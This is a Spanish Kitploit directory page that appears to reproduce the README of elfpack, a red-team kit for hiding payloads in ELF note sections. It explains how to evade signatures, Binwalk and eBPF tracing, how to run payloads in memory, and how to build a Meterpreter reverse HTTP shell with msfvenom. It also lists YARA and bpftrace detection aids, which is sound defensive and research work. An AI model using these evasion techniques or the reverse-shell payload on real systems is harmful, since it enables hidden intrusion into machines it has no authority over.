Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
elfpack — Kit de acoplamiento de secciones de binarios ELF para la entrega de payloads sin etapa, permitiendo la fijación de payloads en el campo, evasión de firmas y resistencia a la carga estática/dinámica mediante la manipulación personalizada de secciones ELF. | Kitploit
Herramientas/GitHubGitHub/dsnezhkov/elfpack
Generación de PayloadsExplotaciónAnálisis de MalwarePruebas de PenetraciónAnálisis de BinariosRed TeamingDesarrollo de Payloads
GitHubdsnezhkov/elfpack

elfpack

Kit de acoplamiento de secciones de binarios ELF para la entrega de payloads sin etapa, permitiendo la fijación de payloads en el campo, evasión de firmas y resistencia a la carga estática/dinámica mediante la manipulación personalizada de secciones ELF.

Ver Repositorio
5110hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

ElfPack: Acoplamiento de Secciones de ELF para Entrega de Cargas Útiles Sin Etapas

Aspectos Destacados

  • Resumen de los mecanismos de empaquetado de cargas útiles: compilación, enlazado y carga.
  • Compatibilidad binaria y creación de cargas útiles débilmente acopladas a su mecanismo de entrega.
  • Evitar la carga automática en memoria de las secciones.
  • Uso de tipos de secciones estructuradas.
  • (Re)acoplamiento de cargas útiles en campo a cargadores mediante secciones de ELF. Trae tu propia carga útil.
  • Evasión de firmas con secciones de ELF precompiladas desacopladas.
  • Acoplamiento de cargas útiles por "drive-by" a cargadores con un pipeline de generación de cargas.
  • Creación de binarios de carga útil "gordos" y el caso para evitar empaquetadores binarios.
  • Empaquetado de cargas útiles complejas.
  • Opciones de ofuscación de cargas útiles y protección de claves.
  • Resistencia al rastreo de carga estática y dinámica. Binwalk y eBPF.

Incrustación de cargas útiles

Inclusión hexadecimal-binaria con compilación y enlazado

  1. Directamente en la sección de datos o texto por defecto: Normalmente, el compilador coloca los objetos que genera en secciones como .data.

payload.h:

root@kitploit:~
const data[3432] = {
    0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
    ...
    0x00, 0xff, 0x23 
};

Se logra manualmente o con herramientas como bin2c o xxd -i payload.bin > payload.h con inclusión de encabezado adicional.

Almacenar cargas útiles en .text y .data de manera genérica también es una mala idea debido a la facilidad de rastreo de carga y la introspección de la semántica de comportamiento de la carga de datos para su ejecución.

  1. En una sección separada. Puedes colocar datos de carga útil en secciones adicionales, o necesitas que ciertas variables particulares aparezcan en secciones especiales. Esto se logra con un mecanismo dependiente del compilador. En gcc, se hace mediante __attribute__. Esto es un poco mejor pero aún bien trazable debido a cómo se crea y carga ELF.
root@kitploit:~
char stack[10000] __attribute__ ((section ("binstack"))) = { 
    0x43, 0x28, 0x41, 0x11, 0xa3, 0xff,
    ...
    0x00, 0xff, 0x23 };
int init_data __attribute__ ((section ("bindata"))) = 0;

main()
{
    /* Inicializar puntero de pila */
    init_sp (stack + sizeof (stack));

    /* Inicializar datos inicializados */
    memcpy (&init_data, &data, &edata - &data);
}
  1. Inclusión binaria mediante enlazador

Una directiva similar a .incbin dependiente del ensamblador puede crear una sección e incrustar una carga útil. Ej: gcc -c payload.s o ld -r -b payload.bin -o payload.o

root@kitploit:~
.section .bindata

.global payload_start
.type payload_start, @object

.section .binddata
.balign 64

payload_start:
    .incbin "payload.bin"
    .balign 1
payload_end:
    .byte 0

Con su posterior recuperación en el cargador como:

root@kitploit:~
int main(void) {
    extern uint8_t payload_start;
    uint8_t *ptrPayload = &payload_start;
    ...
}

Nota: Podemos incluir un ELF completamente funcional en payload.bin, lo cual es importante cuando se trata de crear binarios "gordos", que contienen elementos de varios kits de herramientas.

Nota: Existen herramientas más ergonómicas para realizar la tarea, como INCBIN de @graphitemaster [enlace]

Una variación del tema es ASM en línea como la siguiente:

root@kitploit:~
/* Datos de imagen sin procesar para todas las imágenes incrustadas */
 #undef EMBED
 #define EMBED( _index, _path, _name )                                   \
         extern char embedded_image_ ## _index ## _data[];               \
         extern char embedded_image_ ## _index ## _len[];                \
         __asm__ ( ".section \".rodata\", \"a\", " PROGBITS "\n\t"       \
                   "\nembedded_image_" #_index "_data:\n\t"              \
                   ".incbin \"" _path "\"\n\t"                           \
                   "\nembedded_image_" #_index "_end:\n\t"               \
                   ".equ embedded_image_" #_index "_len, "               \
                         "( embedded_image_" #_index "_end - "           \
                         "  embedded_image_" #_index "_data )\n\t"       \
                   ".previous\n\t" );
 EMBED_ALL
 
 /* Estructuras de imagen para todas las imágenes incrustadas */
 #undef EMBED
 #define EMBED( _index, _path, _name ) {                                 \
         .refcnt = REF_INIT ( ref_no_free ),                             \
         .name = _name,                                                  \
         .data = ( userptr_t ) ( embedded_image_ ## _index ## _data ),   \
         .len = ( size_t ) embedded_image_ ## _index ## _len,            \
 },
 static struct image embedded_images[] = {
         EMBED_ALL
 };
 

Nota: Observa PROGBITS en la definición de una sección, será importante.

La inclusión binaria de cargas útiles mediante compilador/enlazador no es ideal

Hay compensaciones:

  • El proceso de incrustación está estrechamente acoplado a la creación del cargador de cargas útiles.
  • ¿Qué pasa con los cambios en el formato de la carga útil?
  • Por defecto, las secciones que transportan datos tienen el indicador PROGBITS establecido, y serán cargadas en memoria por el cargador del sistema operativo de manera predeterminada. Es posible que no queramos esto.

Representación de sección ELF en disco/memoria

Diagrama PROGBITS de ELF

El tipo de sección y los indicadores establecidos en la nueva sección que contiene determinan si el cargador del sistema operativo la carga en memoria al lanzar el ejecutable. Algunas secciones se cargan automáticamente por defecto, otras no (por ejemplo, .symtab, .strtab)

Desde el punto ofensivo, ¿qué eficiencias podemos obtener de eso?

Incrustación de cargas útiles: segunda versión

  1. Podemos evitar establecer indicadores en secciones que asumen la carga por defecto en memoria.

  2. Podemos usar un tipo diferente de sección que no se cargue en memoria.

Un vendedor o ingeniero de sistemas podría necesitar marcar un archivo objeto con información especial que otros programas puedan verificar para determinar conformidad o compatibilidad. Las secciones de tipo SHT_NOTE y los elementos de encabezado de programa de tipo PT_NOTE se pueden usar para este propósito.

En este último caso, podemos ver el uso de este tipo de sección en binarios del sistema:

root@kitploit:~
$ readelf --sections /bin/tar | grep NOTE
  [ 2] .note.gnu.bu[...] NOTE             00000000000002c4  000002c4
  [ 3] .note.ABI-tag     NOTE             00000000000002e8  000002e8

Y podemos inspeccionar su contenido:

root@kitploit:~
$ readelf -p .note.ABI-tag /bin/tar

String dump of section '.note.ABI-tag':
  [     c]  GNU

El resultado final de crear una sección SHT_NOTE se verá así en el ELF: SHT_NOTE

Bonus: SHT_NOTE nos proporciona estructura si la necesitamos (y la usaremos más adelante):

Estructura SHT_NOTE

Acoplamiento de Secciones ELF

Hasta ahora hemos podido crear una sección y evitar que el cargador del sistema operativo la cargue en memoria. La sección está efectivamente inactiva en la imagen ELF por el momento. Discutiremos cómo cargarla un poco más tarde. Sin embargo, una pregunta más apremiante es el hecho de que todavía estamos operando a nivel de compilador y enlazador, y la sección es un objeto que se entreteje en la estructura del ELF final, creando relaciones y direcciones de memoria desde el código del cargador que hace referencia a su contenido.

Objeto de sección ELF

¿Qué pasaría si pudiéramos crear una sección ELF con una carga útil incrustada fuera del flujo de trabajo de compilación del cargador, y adjuntar esa sección en un momento posterior al binario del cargador?

Esto rompería la relación del código del cargador con la interacción de la sección. Luego enseñamos al cargador cómo encontrar y cargar su sección de datos extraña, "acoplando" efectivamente una carga útil a un cargador de manera débilmente acoplada.

Conceptualmente, nuestros objetivos serían:

  • El cargador no debería estar enredado con la semántica de la carga útil.
  • Cargar y ejecutar carga útil:
    • ¿Sin modificar el código del cargador en absoluto?
    • Sin usar el cargador de ELF del SO (ld.so) que carga segmentos de la carga útil en memoria automáticamente.
  • (Re)acoplamiento de cargas útiles en campo.

La relación cargador/carga útil (en sección) ahora se vería así:

Relación Cargador/Carga Útil

Entonces podemos crear un inyector que introduzca una sección de carga útil al cargador sin que ninguno de los dos opere a nivel de código, solo con compatibilidad binaria (y el cargador sabiendo cómo cargar cualquier sección de carga útil)

Inyector ELF

Algunos resultados de esta configuración genérica de acoplamiento de secciones ELF:

  1. El cargador ELF estático puede distribuirse por sí solo, sin cargas útiles, solo con mecanismos para cargar una sección bajo demanda y arrancar la carga útil desde ella.

  2. La carga útil puede empaquetarse por separado y agruparse con el cargador en cualquier momento como una etapa estática, o en un momento posterior con un inyector. La carga útil a menudo puede estar cifrada, a menudo puede ser un ejecutable ELF en sí mismo si es necesario, siempre que el cargador conozca no la estructura de la carga útil, sino solo sus capacidades de empaquetado.

  3. El inyector puede intermediar el acoplamiento de secciones de varios binarios (etapas latentes) para construir una sección e inyectarla en el cargador.

  4. Hay ventajas en la construcción a nivel de sección frente al empaquetado de múltiples recursos en un ejecutable. No hay sobrecarga de detección por procesamiento de empaquetador y código. Hay ventajas en términos de transportar múltiples secciones con otras herramientas que dependen del lanzamiento en memoria y que no se pueden empaquetar fácilmente debido a cómo los empaquetadores tienen que extraer binarios al sistema de archivos. (Sección de binarios gordos más adelante)

Componentes del acoplamiento de secciones ELF:

Discutamos los componentes del acoplamiento de secciones ELF con mayor detalle.

Inyector ELF seccional:

Disposición: posterior o en campo Ventajas:

  • Proxy de carga útil agnóstico para el cargador
  • Pipeline de generación de cargas útiles optimizado
  • Acoplamiento de carga útil al cargador en campo sin necesidad de compiladores si es necesario

Cargador ELF seccional:

Disposición: en campo Ventajas:

  • Agnóstico a la carga útil adjunta
  • Carga ELFs completos o shellcode (más posibilidades) mediante la lectura y análisis de su propio binario.
  • Si necesitas shellcode, puedes crear un ELF ejecutable a partir de él (por ejemplo, mettle de Metasploit)
  • El rastreo no ve llamadas a mprotect()
  • Separación hermética entre dónde está la carga útil y los arrays .DATA normales.
  • Esto logra abstracción para los rastreadores.
  • Capacidad de aceptar y reenviar argumentos a las propias cargas útiles.

Carga útil binaria:

Ventajas:

  • La carga útil es un programa completamente funcional con menos restricciones, datos, segmentos LDD intactos.
  • Puede ofuscarse de manera única sin importar el espacio (los registros .NOTE tienen tamaño variable)
  • Puede extraerse al sistema de archivos o ejecutarse como parte de una tabla de contenido (cargadores de carga útil "gordos").
  • No necesita ser reubicada, puede encadenarse a otros cargadores.
  • Ejemplo de acoplamiento cruzado y evasión de detección: El cargador A lee la carga útil del cargador B.

Oportunidades de evasión

Fortalecimiento del inyector/empaquetador seccional de ELF:

  • Carga útil XORed, pero se puede implementar AES.
  • Metadatos de clave XOR almacenados fuera de banda en una marca de agua.
  • Las claves XOR no se divulgan.
  • Posible ofuscación adicional de datos XORed.

Fortalecimiento del cargador ELF:

  • Carga útil XORed por defecto, pero se puede implementar AES.
  • Los metadatos de clave XOR se extraen de una marca de agua fuera de banda.
  • Separación del momento de lanzamiento del cargador != momento de carga de la carga útil si es necesario.
  • Facilidad para demonización (capacidad de trabajar con userland exec y memfd_create)
  • Posibilidad de evasión para el cálculo de entropía y anti-cincelado de cargas útiles: Binwalk no ve la carga útil por defecto, no puede cincelar (ejemplo en demo: empaquetando carga útil de msfvenom)

Discusión sobre el cargador específico del kit de herramientas de acoplamiento de secciones ELF:

Algunas palabras sobre el cargador seccional de ELF trabajando con el lanzador de carga útil:

El cargador puede utilizar uno de dos mecanismos de ejecución de carga útil en memoria:

  • Opción A: SYS_Memfd_create ()

    • Hecho con libreflect[enlace] pero puede hacerse con zombieant pre-loader[enlace]
    • Más detectable a niveles: - archivo anónimo en /proc/self/fd/ - usa sys_memfd_create (syscall #319)
    • Hace fork/exec, el rastreo BPF para execve() lo registrará.
  • Opción B: User land Exec (https://grugq.github.io/docs/ul_exec.txt)

    • Hecho con libreflect por ahora. Interfaz agradable.
    • Hueca el cargador y lo superpone con la carga útil.
    • No hay llamadas sys_enter_exec / sys_exit_exec. El rastreo BPF para execve() no lo captura.
    • Desventaja: no puedes demonizar a través del cargador (la memoria del cargador desaparece en la superposición) pero la carga útil puede demonizarse al lanzarse: la belleza de enviar binarios ELF frente a enviar shellcode ☺

Flujo de trabajo en ejecución: Inyector ELF Inyector ELF

Oportunidades de evasión de Binwalk después de carga útil seccional de ELF vs. carga útil de MSF: Inyector ELF

Evasión de eBPF vs. empaquetador seccional de ELF: Inyector ELF

Herramientas de detección:

Verificador y pruebas de YARA: Inyector ELF

Inyector ELF

Definición de herramienta STIX:

Inyector ELF

Construyendo ELFPack POC

  • Para Cmake: antes de una compilación limpia, ejecuta: cmake --configure . para configurar tu entorno de compilación. Soporta CMake 3.18 actualmente.
  • ./build.sh

Dependencias de ELFPack:

  • Usamos la biblioteca libreflect para este POC de https://github.com/rapid7/mettle
  • Se construye para ti y se distribuye bajo vendor/lib/reflect/libreflect.a pero se puede reconstruir desde el repositorio original si es necesario.
  • Tiempo de ejecución: Si quieres jugar con BPF y bpftrace, instala los encabezados de kernel apropiados para tu distribución.

Uso

  • Frontend: Ver run.sh
  • Backend: Este PoC opera con el implante mettle de Metasploit, así que para capturar tu tráfico en el servidor MSF usarías un archivo RC como aux/msfrc así:
root@kitploit:~
msfconsole -r aux/triage/msfrc
  • La carga útil de MSF (mettle) puede generarse de la siguiente manera:
root@kitploit:~
msfvenom -p linux/x64/meterpreter_reverse_http LHOST=127.0.0.1 LPORT=4443  -f elf > ../elfpack_staging/mettle-shell.elf
  • El rastreo BPF se puede hacer de la siguiente manera (necesitas root):
root@kitploit:~
sudo bpftrace aux/triage/elfpack_BPF_snoop_rules.bt
  • Ejemplo de integración de YARA mediante enlaces de Python se puede ver en aux/triage/elfpack_yar.py
root@kitploit:~
./aux/triage/elfpack_yar.py <ruta/al/archivo/elf> [seccion_elf]
Descargar herramienta